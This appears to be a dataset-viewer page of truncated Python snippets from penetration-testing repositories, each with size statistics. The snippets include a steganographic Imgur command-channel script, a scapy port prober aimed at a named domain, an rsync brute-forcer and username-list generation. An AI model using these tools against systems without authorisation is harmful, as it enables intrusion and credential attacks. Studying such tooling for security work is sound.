cybersecurity-penetration-testing | from imgurpython import ImgurClient
import StegoText
import ast, os, time, shlex, subprocess, base64, random, sys
def get_input(string):
try:
return raw_input(string)
except:
return input(string)
def authenticate():
client_id = '<YOUR CLIENT ID>'
client_secret = '<YOUR CLIENT SECRET>'
... | 35.19403 | 164 | 0.592409 |
Python-Penetration-Testing-Cookbook | from scapy.all import *
host = 'rejahrehim.com'
ip = socket.gethostbyname(host)
port = 80
def is_up(ip):
icmp = IP(dst=ip)/ICMP()
resp = sr1(icmp, timeout=10)
if resp == None:
return False
else:
return True
def probe_port(ip, port, result = 1):
src_port = RandShort()
try:
... | 24.282609 | 105 | 0.531842 |
owtf | """
owtf.transactions.base
~~~~~~~~~~~~~~~~~~~~~~
HTTP_Transaction is a container of useful HTTP Transaction information to
simplify code both in the framework and the plugins.
"""
import gzip
import io
import logging
import zlib
try:
from http.client import responses as response_messages
except ImportError:
f... | 28.970414 | 111 | 0.565406 |
PenetrationTestingScripts | # -*- coding: utf-8 -*-
# Generated by Django 1.9.1 on 2016-01-08 07:02
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('nmaper', '0010_auto_20160108_0650'),
]
operations = [
migrations.AlterField(... | 20.761905 | 51 | 0.596491 |
owtf | """
owtf.plugin.runner
~~~~~~~~~~~~~~~~~~
The module is in charge of running all plugins taking into account the
chosen settings.
"""
import copy
from collections import defaultdict
import imp
import logging
import os
from ptp import PTP
from ptp.libptp.constants import UNKNOWN
from ptp.libptp.exceptions import PTPEr... | 38.828283 | 119 | 0.587944 |
Penetration-Testing-Study-Notes | #!/usr/bin/env python
# ######################################################################################################################
# This script is based on the script by [Mike Czumak](http://www.securitysift.com/offsec-pwb-oscp/). But it is heavily rewritten, some things have been added, other stuff has b... | 48.80429 | 458 | 0.632806 |
Penetration-Testing-Study-Notes | #!/usr/bin/env python
import sys
if __name__ == "__main__":
if len(sys.argv) != 2:
print "usage: %s names.txt" % (sys.argv[0])
sys.exit(0)
for line in open(sys.argv[1]):
name = ''.join([c for c in line if c == " " or c.isalpha()])
tokens = name.lower().split()
fname = tokens[0]
lname = tokens[-1]
... | 24.407407 | 64 | 0.576642 |
PenetrationTestingScripts | # -*- coding: utf-8 -*-
import threading
from printers import printPink,printRed,printGreen
from multiprocessing.dummy import Pool
from Queue import Queue
import re
import time
import threading
from threading import Thread
from rsynclib import *
import sys
import socket
socket.setdefaulttimeout(10)
sys.path.append("../... | 28.173469 | 118 | 0.524493 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.